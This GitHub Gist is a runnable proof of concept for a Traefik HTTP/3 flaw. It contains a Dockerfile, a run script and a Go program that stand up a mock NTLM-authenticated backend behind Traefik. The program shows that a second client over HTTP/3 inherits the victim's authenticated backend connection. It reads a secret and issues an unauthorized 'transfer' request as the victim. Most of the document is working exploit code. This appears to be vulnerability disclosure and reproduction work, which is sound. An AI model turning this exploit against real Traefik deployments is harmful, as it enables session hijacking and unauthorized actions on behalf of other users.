Skip to content

Instantly share code, notes, and snippets.

@OneZ3r0
Last active August 25, 2026 08:59
Show Gist options
  • Select an option

  • Save OneZ3r0/41da8e8b79ebbe444a94f8a2a3a30895 to your computer and use it in GitHub Desktop.

Select an option

Save OneZ3r0/41da8e8b79ebbe444a94f8a2a3a30895 to your computer and use it in GitHub Desktop.
Traefik HTTP/3 Backend NTLM Connection Reuse PoC
.git
README.md

Traefik HTTP/3 Backend NTLM Connection Reuse PoC

Target commit: f2d0794417e4d06343e6e7c4722143f5b34bee45 Validated: 2026-08-25 Expected result: REPRODUCED

# syntax=docker/dockerfile:1.7
FROM golang:1.26-bookworm AS traefik-builder
ARG PRODUCT_COMMIT=f2d0794417e4d06343e6e7c4722143f5b34bee45
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates git \
&& rm -rf /var/lib/apt/lists/*
RUN git config --global http.version HTTP/1.1 \
&& git init /src/product \
&& cd /src/product \
&& git remote add origin https://github.com/traefik/traefik.git \
&& attempt=1 \
&& until [ "$attempt" -gt 5 ]; do \
git fetch --depth=1 origin "$PRODUCT_COMMIT" && break; \
if [ "$attempt" -eq 5 ]; then exit 1; fi; \
echo "git fetch failed on attempt $attempt, retrying..." >&2; \
attempt=$((attempt + 1)); \
sleep 3; \
done \
&& git checkout --detach FETCH_HEAD \
&& git rev-parse HEAD | tee /opt/product.commit
RUN --mount=type=cache,target=/go/pkg/mod \
--mount=type=cache,target=/root/.cache/go-build \
cd /src/product \
&& CGO_ENABLED=0 go mod download \
&& CGO_ENABLED=0 go build -trimpath -o /usr/local/bin/traefik ./cmd/traefik
FROM golang:1.26-bookworm AS verify-builder
WORKDIR /src/verify
COPY go.mod go.sum verify.go ./
RUN --mount=type=cache,target=/go/pkg/mod \
--mount=type=cache,target=/root/.cache/go-build \
CGO_ENABLED=0 go mod download \
&& CGO_ENABLED=0 go build -trimpath -o /usr/local/bin/verify ./verify.go
FROM alpine:3.22
RUN apk add --no-cache ca-certificates
COPY --from=traefik-builder /opt/product.commit /opt/product.commit
COPY --from=traefik-builder /usr/local/bin/traefik /usr/local/bin/traefik
COPY --from=traefik-builder /src/product/integration/fixtures/https/snitest.com.cert /opt/certs/snitest.com.cert
COPY --from=traefik-builder /src/product/integration/fixtures/https/snitest.com.key /opt/certs/snitest.com.key
COPY --from=verify-builder /usr/local/bin/verify /usr/local/bin/verify
ENTRYPOINT ["/usr/local/bin/verify"]
module traefikhttp3ntlmrepro
go 1.26.0
require github.com/quic-go/quic-go v0.61.0
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/quic-go/go-ossfuzz-seeds v0.1.0 h1:APacT+iIaNF6fd8AGEiN3bT/Jtkd2jz4v4TzM7MFjy0=
github.com/quic-go/go-ossfuzz-seeds v0.1.0/go.mod h1:3IOHRbJIc+L6YKMwfDtJAM9Vj9k0YY4muhuyUYk5tbk=
github.com/quic-go/qpack v0.6.0 h1:g7W+BMYynC1LbYLSqRt8PBg5Tgwxn214ZZR34VIOjz8=
github.com/quic-go/qpack v0.6.0/go.mod h1:lUpLKChi8njB4ty2bFLX2x4gzDqXwUpaO1DP9qMDZII=
github.com/quic-go/quic-go v0.61.0 h1:ui88A53s8MSVYLC56en0KQ17HARk+9986Dn0SBfKNvA=
github.com/quic-go/quic-go v0.61.0/go.mod h1:9So2anK4Tp22URSQq00k+Vo2PNkle96ycDPDHL4s9vs=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
go.uber.org/mock v0.5.2 h1:LbtPTcP8A5k9WPXj54PPPbjcI4Y6lhyOZXn+VS7wNko=
go.uber.org/mock v0.5.2/go.mod h1:wLlUxC2vVTPTaE3UD51E0BGOAElKrILxhVSDYQLld5o=
golang.org/x/crypto v0.54.0 h1:YLIA59K4fiNzHzjnZt2tUJQjQtUWfWbeHBqKtk3eScw=
golang.org/x/crypto v0.54.0/go.mod h1:KWL8ny2AZdGR2cWmzeHrp2azQPGogOv+HeQaVEXC2dk=
golang.org/x/net v0.56.0 h1:Rw8j/hFzGvJUZwNBXnAtf5sVDVt+65SK2C7IxCxZt5o=
golang.org/x/net v0.56.0/go.mod h1:D3Ku6r+V6JROoZK144D2XfMHFcMq/0zSfLelVTCFKec=
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs=
golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "$0")" && pwd)"
IMAGE_TAG="${IMAGE_TAG:-traefik-http3-ntlm-repro:local}"
PRODUCT_COMMIT="${PRODUCT_COMMIT:-f2d0794417e4d06343e6e7c4722143f5b34bee45}"
docker build \
--build-arg "PRODUCT_COMMIT=${PRODUCT_COMMIT}" \
--tag "${IMAGE_TAG}" \
"${ROOT}"
exec docker run --rm "${IMAGE_TAG}"
package main
import (
"bytes"
"context"
"crypto/tls"
"errors"
"fmt"
"io"
"net"
"net/http"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/quic-go/quic-go/http3"
)
const (
testHost = "snitest.com"
victimToken = "NTLM victim-token"
attackerName = "attacker"
traefikPath = "/usr/local/bin/traefik"
certRoot = "/opt/certs"
)
type notReproducedError struct {
message string
}
func (e notReproducedError) Error() string { return e.message }
func main() {
var (
workRoot string
cleanup func()
)
switch len(os.Args) {
case 1:
tmpDir, err := os.MkdirTemp("", "traefik-http3-ntlm-repro-*")
if err != nil {
fmt.Fprintln(os.Stderr, "ENVIRONMENT ERROR: creating temporary work directory:", err)
os.Exit(2)
}
workRoot = tmpDir
cleanup = func() { _ = os.RemoveAll(tmpDir) }
case 2:
workRoot = os.Args[1]
default:
fmt.Fprintln(os.Stderr, "ENVIRONMENT ERROR: expected zero or one writable work directory argument")
os.Exit(2)
}
if cleanup != nil {
defer cleanup()
}
certFile := filepath.Join(certRoot, "snitest.com.cert")
keyFile := filepath.Join(certRoot, "snitest.com.key")
http1Result, err := runHTTP1Baseline(workRoot, certFile, keyFile)
if err != nil {
reportFailure(err, http1Result)
}
http3Result, err := runHTTP3Exploit(workRoot, certFile, keyFile)
if err != nil {
reportFailure(err, http3Result)
}
printPhase(http1Result)
fmt.Println()
printPhase(http3Result)
fmt.Println()
fmt.Println("REPRODUCED: HTTP/1.1 isolates the authenticated backend connection, but HTTP/3 reuses the victim-authenticated backend connection for a different client and executes an unauthorized state-changing request as the victim.")
}
func reportFailure(err error, result phaseResult) {
if errors.As(err, new(notReproducedError)) {
if result.Name != "" {
printPhase(result)
fmt.Println()
}
fmt.Fprintln(os.Stderr, "NOT REPRODUCED:", err.Error())
os.Exit(1)
}
if result.Name != "" {
printPhase(result)
fmt.Println()
}
fmt.Fprintln(os.Stderr, "ENVIRONMENT ERROR:", err.Error())
os.Exit(2)
}
type phaseResult struct {
Name string
Success bool
VictimStatus int
VictimProto string
VictimAuthBody string
AttackerStatus int
AttackerProto string
AttackerBody string
AttackerWrite string
BackendEventLog []string
TraefikLog string
ExpectedBehavior string
}
func printPhase(result phaseResult) {
fmt.Println(result.Name)
fmt.Println(strings.Repeat("-", len(result.Name)))
fmt.Println(result.ExpectedBehavior)
fmt.Printf("Victim auth response: status=%d proto=%s body=%q\n", result.VictimStatus, result.VictimProto, result.VictimAuthBody)
fmt.Printf("Attacker read response: status=%d proto=%s body=%q\n", result.AttackerStatus, result.AttackerProto, result.AttackerBody)
if result.AttackerWrite != "" {
fmt.Printf("Attacker write response: %q\n", result.AttackerWrite)
}
fmt.Println("Backend event log:")
for _, event := range result.BackendEventLog {
fmt.Println(" " + event)
}
if result.TraefikLog != "" {
fmt.Println("Traefik log excerpt:")
for _, line := range tailNonEmptyLines(result.TraefikLog, 12) {
fmt.Println(" " + line)
}
}
}
func tailNonEmptyLines(input string, max int) []string {
lines := strings.Split(strings.TrimSpace(input), "\n")
var filtered []string
for _, line := range lines {
line = strings.TrimSpace(line)
if line != "" {
filtered = append(filtered, line)
}
}
if len(filtered) <= max {
return filtered
}
return filtered[len(filtered)-max:]
}
func runHTTP1Baseline(workRoot, certFile, keyFile string) (phaseResult, error) {
return runPhase(workRoot, certFile, keyFile, false, func(port int) (phaseResult, error) {
result, err := executeHTTP1Flow(port)
result.Name = "Phase 1: HTTPS / HTTP/1.1 control case"
result.ExpectedBehavior = "A fresh attacker connection should stay unauthenticated and receive a 401 on a separate backend TCP connection."
return result, err
})
}
func runHTTP3Exploit(workRoot, certFile, keyFile string) (phaseResult, error) {
return runPhase(workRoot, certFile, keyFile, true, func(port int) (phaseResult, error) {
result, err := executeHTTP3Flow(port)
result.Name = "Phase 2: HTTP/3 exploit case"
result.ExpectedBehavior = "A fresh attacker HTTP/3 connection should inherit the victim-authenticated backend connection and execute requests as the victim without sending Authorization."
return result, err
})
}
func runPhase(workRoot, certFile, keyFile string, needHTTP3 bool, fn func(port int) (phaseResult, error)) (phaseResult, error) {
backend, err := startProtectedBackend()
if err != nil {
return phaseResult{}, err
}
defer backend.Close()
port, err := reserveTraefikPort()
if err != nil {
return phaseResult{}, err
}
phaseDir, err := os.MkdirTemp(workRoot, "phase-*")
if err != nil {
return phaseResult{}, err
}
defer os.RemoveAll(phaseDir)
configPath := filepath.Join(phaseDir, "traefik.toml")
config := renderConfig(configPath, certFile, keyFile, port, backend.Port())
if err := os.WriteFile(configPath, []byte(config), 0o600); err != nil {
return phaseResult{}, err
}
traefik, err := startTraefik(configPath)
if err != nil {
return phaseResult{}, err
}
defer traefik.Close()
if err := waitForHTTPSReady(port); err != nil {
return phaseResult{}, fmt.Errorf("waiting for HTTPS readiness: %w", err)
}
if needHTTP3 {
if err := waitForHTTP3Ready(port); err != nil {
return phaseResult{}, fmt.Errorf("waiting for HTTP/3 readiness: %w", err)
}
}
result, err := fn(port)
result.BackendEventLog = backend.Events()
result.TraefikLog = traefik.Logs()
return result, err
}
func renderConfig(selfPath, certFile, keyFile string, traefikPort, backendPort int) string {
return fmt.Sprintf(`[global]
checkNewVersion = false
sendAnonymousUsage = false
[log]
level = "DEBUG"
noColor = true
[entryPoints]
[entryPoints.websecure]
address = "127.0.0.1:%d"
[entryPoints.websecure.http3]
[providers.file]
filename = %q
## dynamic configuration ##
[http.routers]
[http.routers.demo]
entryPoints = ["websecure"]
service = "demo"
rule = "Host(%c%s%c)"
[http.routers.demo.tls]
[http.services]
[http.services.demo.loadBalancer]
passHostHeader = true
serversTransport = "authdemo"
[[http.services.demo.loadBalancer.servers]]
url = "http://127.0.0.1:%d"
[http.serversTransports]
[http.serversTransports.authdemo]
maxIdleConnsPerHost = 1
disableHTTP2 = true
[[tls.certificates]]
certFile = %q
keyFile = %q
`, traefikPort, selfPath, '`', testHost, '`', backendPort, certFile, keyFile)
}
type traefikProcess struct {
cmd *exec.Cmd
output bytes.Buffer
}
func startTraefik(configPath string) (*traefikProcess, error) {
cmd := exec.Command(traefikPath, "--configFile="+configPath)
process := &traefikProcess{cmd: cmd}
cmd.Stdout = &process.output
cmd.Stderr = &process.output
if err := cmd.Start(); err != nil {
return nil, err
}
return process, nil
}
func (p *traefikProcess) Logs() string {
return p.output.String()
}
func (p *traefikProcess) Close() {
if p == nil || p.cmd == nil || p.cmd.Process == nil {
return
}
_ = p.cmd.Process.Kill()
_, _ = p.cmd.Process.Wait()
}
func waitForHTTPSReady(port int) error {
client := &http.Client{
Timeout: 500 * time.Millisecond,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true, ServerName: testHost},
ForceAttemptHTTP2: false,
},
}
defer client.CloseIdleConnections()
return retry(10*time.Second, func() error {
resp, body, err := doRequest(client, port, http.MethodGet, "/secret", "")
if err != nil {
return err
}
if resp.StatusCode != http.StatusUnauthorized {
return fmt.Errorf("expected 401 during HTTPS readiness, got %d body=%q", resp.StatusCode, body)
}
if resp.Proto != "HTTP/1.1" {
return fmt.Errorf("expected HTTP/1.1 during HTTPS readiness, got %s", resp.Proto)
}
return nil
})
}
func waitForHTTP3Ready(port int) error {
transport := &http3.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
ServerName: testHost,
NextProtos: []string{"h3"},
},
}
defer transport.Close()
client := &http.Client{Timeout: 500 * time.Millisecond, Transport: transport}
return retry(10*time.Second, func() error {
resp, body, err := doRequest(client, port, http.MethodGet, "/secret", "")
if err != nil {
return err
}
if resp.StatusCode != http.StatusUnauthorized {
return fmt.Errorf("expected 401 during HTTP/3 readiness, got %d body=%q", resp.StatusCode, body)
}
if !strings.HasPrefix(resp.Proto, "HTTP/3") {
return fmt.Errorf("expected HTTP/3 during readiness, got %s", resp.Proto)
}
return nil
})
}
func executeHTTP1Flow(port int) (phaseResult, error) {
victimTransport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true, ServerName: testHost},
ForceAttemptHTTP2: false,
}
defer victimTransport.CloseIdleConnections()
victimClient := &http.Client{Transport: victimTransport, Timeout: 3 * time.Second}
resp, _, err := doRequest(victimClient, port, http.MethodGet, "/secret", "")
if err != nil {
return phaseResult{}, err
}
if resp.StatusCode != http.StatusUnauthorized || resp.Proto != "HTTP/1.1" {
return phaseResult{}, fmt.Errorf("unexpected victim challenge response: status=%d proto=%s", resp.StatusCode, resp.Proto)
}
resp, body, err := doRequest(victimClient, port, http.MethodGet, "/secret", victimToken)
if err != nil {
return phaseResult{}, err
}
victimTransport.CloseIdleConnections()
time.Sleep(200 * time.Millisecond)
attackerTransport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true, ServerName: testHost},
ForceAttemptHTTP2: false,
}
defer attackerTransport.CloseIdleConnections()
attackerClient := &http.Client{Transport: attackerTransport, Timeout: 3 * time.Second}
attackerResp, attackerBody, err := doRequest(attackerClient, port, http.MethodGet, "/secret", "")
if err != nil {
return phaseResult{}, err
}
result := phaseResult{
VictimStatus: resp.StatusCode,
VictimProto: resp.Proto,
VictimAuthBody: body,
AttackerStatus: attackerResp.StatusCode,
AttackerProto: attackerResp.Proto,
AttackerBody: attackerBody,
Success: attackerResp.StatusCode == http.StatusUnauthorized &&
strings.Contains(body, "actor=victim"),
}
if !result.Success {
return result, fmt.Errorf("control case failed: attacker unexpectedly got %d %q", attackerResp.StatusCode, attackerBody)
}
return result, nil
}
func executeHTTP3Flow(port int) (phaseResult, error) {
victimTransport := &http3.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
ServerName: testHost,
NextProtos: []string{"h3"},
},
}
defer victimTransport.Close()
victimClient := &http.Client{Transport: victimTransport, Timeout: 3 * time.Second}
resp, _, err := doRequest(victimClient, port, http.MethodGet, "/secret", "")
if err != nil {
return phaseResult{}, err
}
if resp.StatusCode != http.StatusUnauthorized || !strings.HasPrefix(resp.Proto, "HTTP/3") {
return phaseResult{}, fmt.Errorf("unexpected victim HTTP/3 challenge response: status=%d proto=%s", resp.StatusCode, resp.Proto)
}
resp, body, err := doRequest(victimClient, port, http.MethodGet, "/secret", victimToken)
if err != nil {
return phaseResult{}, err
}
victimTransport.Close()
time.Sleep(200 * time.Millisecond)
attackerTransport := &http3.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
ServerName: testHost,
NextProtos: []string{"h3"},
},
}
defer attackerTransport.Close()
attackerClient := &http.Client{Transport: attackerTransport, Timeout: 3 * time.Second}
attackerResp, attackerBody, err := doRequest(attackerClient, port, http.MethodGet, "/secret", "")
if err != nil {
return phaseResult{}, err
}
writeResp, writeBody, err := doRequest(attackerClient, port, http.MethodPost, "/transfer?to="+attackerName+"&amount=5000", "")
if err != nil {
return phaseResult{}, err
}
result := phaseResult{
VictimStatus: resp.StatusCode,
VictimProto: resp.Proto,
VictimAuthBody: body,
AttackerStatus: attackerResp.StatusCode,
AttackerProto: attackerResp.Proto,
AttackerBody: attackerBody,
AttackerWrite: writeBody,
Success: attackerResp.StatusCode == http.StatusOK && writeResp.StatusCode == http.StatusOK,
}
if attackerResp.StatusCode == http.StatusUnauthorized {
return result, notReproducedError{message: "attacker remained unauthenticated over HTTP/3; the inherited identity path did not reproduce"}
}
if !strings.Contains(attackerBody, "actor=victim") {
return result, notReproducedError{message: fmt.Sprintf("attacker did not inherit victim identity on read: %q", attackerBody)}
}
if !strings.Contains(writeBody, "actor=victim") || !strings.Contains(writeBody, "to=attacker") {
return result, notReproducedError{message: fmt.Sprintf("attacker did not inherit victim identity on write: %q", writeBody)}
}
if connIDFromBody(body) == "" || connIDFromBody(body) != connIDFromBody(attackerBody) {
return result, notReproducedError{message: fmt.Sprintf("attacker did not reach the same backend TCP connection: victim=%q attacker=%q", body, attackerBody)}
}
return result, nil
}
func doRequest(client *http.Client, port int, method, path, authorization string) (*http.Response, string, error) {
req, err := http.NewRequest(method, fmt.Sprintf("https://127.0.0.1:%d%s", port, path), nil)
if err != nil {
return nil, "", err
}
req.Host = testHost
req.Header.Set("Accept", "*/*")
if authorization != "" {
req.Header.Set("Authorization", authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, "", err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, "", err
}
return resp, string(body), nil
}
func connIDFromBody(body string) string {
for _, part := range strings.Split(body, " ") {
if strings.HasPrefix(part, "conn=") {
return strings.TrimPrefix(part, "conn=")
}
}
return ""
}
func retry(timeout time.Duration, fn func() error) error {
deadline := time.Now().Add(timeout)
var lastErr error
for time.Now().Before(deadline) {
if err := fn(); err == nil {
return nil
} else {
lastErr = err
}
time.Sleep(200 * time.Millisecond)
}
return lastErr
}
func reserveTraefikPort() (int, error) {
for i := 0; i < 20; i++ {
tcpListener, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return 0, err
}
port := tcpListener.Addr().(*net.TCPAddr).Port
_ = tcpListener.Close()
udpAddr, err := net.ResolveUDPAddr("udp", "127.0.0.1:"+strconv.Itoa(port))
if err != nil {
return 0, err
}
udpConn, err := net.ListenUDP("udp", udpAddr)
if err != nil {
continue
}
_ = udpConn.Close()
return port, nil
}
return 0, errors.New("unable to reserve a shared TCP/UDP port for Traefik")
}
type backendConnState struct {
id int64
user string
requests int
mu sync.Mutex
}
type connStateKey struct{}
type protectedBackend struct {
listener net.Listener
server *http.Server
eventsMu sync.Mutex
events []string
nextID atomic.Int64
}
func startProtectedBackend() (*protectedBackend, error) {
listener, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return nil, err
}
backend := &protectedBackend{listener: listener}
server := &http.Server{
ConnContext: func(ctx context.Context, c net.Conn) context.Context {
state := &backendConnState{id: backend.nextID.Add(1)}
backend.logf("backend: new TCP connection id=%d remote=%s", state.id, c.RemoteAddr())
return context.WithValue(ctx, connStateKey{}, state)
},
Handler: http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
state, ok := req.Context().Value(connStateKey{}).(*backendConnState)
if !ok || state == nil {
http.Error(rw, "missing conn state", http.StatusInternalServerError)
return
}
state.mu.Lock()
defer state.mu.Unlock()
state.requests++
authz := req.Header.Get("Authorization")
if state.user == "" && strings.HasPrefix(authz, "NTLM ") {
switch strings.TrimSpace(strings.TrimPrefix(authz, "NTLM ")) {
case "victim-token":
state.user = "victim"
backend.logf("backend: conn=%d authenticated as victim", state.id)
case "attacker-token":
state.user = attackerName
backend.logf("backend: conn=%d authenticated as attacker", state.id)
}
}
if state.user == "" {
backend.logf("backend: conn=%d request=%s %s unauthenticated -> 401 challenge", state.id, req.Method, req.URL.RequestURI())
rw.Header().Set("Www-Authenticate", "NTLM")
rw.Header().Set("X-Backend-Conn-ID", strconv.FormatInt(state.id, 10))
http.Error(rw, fmt.Sprintf("challenge conn=%d", state.id), http.StatusUnauthorized)
return
}
rw.Header().Set("X-Backend-Conn-ID", strconv.FormatInt(state.id, 10))
rw.Header().Set("X-Backend-User", state.user)
switch req.URL.Path {
case "/secret":
body := fmt.Sprintf("resource=secret actor=%s conn=%d req=%d", state.user, state.id, state.requests)
backend.logf("backend: %s", body)
_, _ = rw.Write([]byte(body))
case "/transfer":
body := fmt.Sprintf("action=transfer actor=%s to=%s amount=%s conn=%d req=%d", state.user, req.URL.Query().Get("to"), req.URL.Query().Get("amount"), state.id, state.requests)
backend.logf("backend: %s", body)
_, _ = rw.Write([]byte(body))
default:
body := fmt.Sprintf("resource=ok actor=%s conn=%d req=%d", state.user, state.id, state.requests)
backend.logf("backend: %s", body)
_, _ = rw.Write([]byte(body))
}
}),
}
backend.server = server
go func() { _ = server.Serve(listener) }()
return backend, nil
}
func (b *protectedBackend) Port() int {
return b.listener.Addr().(*net.TCPAddr).Port
}
func (b *protectedBackend) Close() {
if b == nil || b.server == nil {
return
}
_ = b.server.Close()
}
func (b *protectedBackend) logf(format string, args ...any) {
b.eventsMu.Lock()
defer b.eventsMu.Unlock()
b.events = append(b.events, fmt.Sprintf(format, args...))
}
func (b *protectedBackend) Events() []string {
b.eventsMu.Lock()
defer b.eventsMu.Unlock()
out := make([]string, len(b.events))
copy(out, b.events)
return out
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment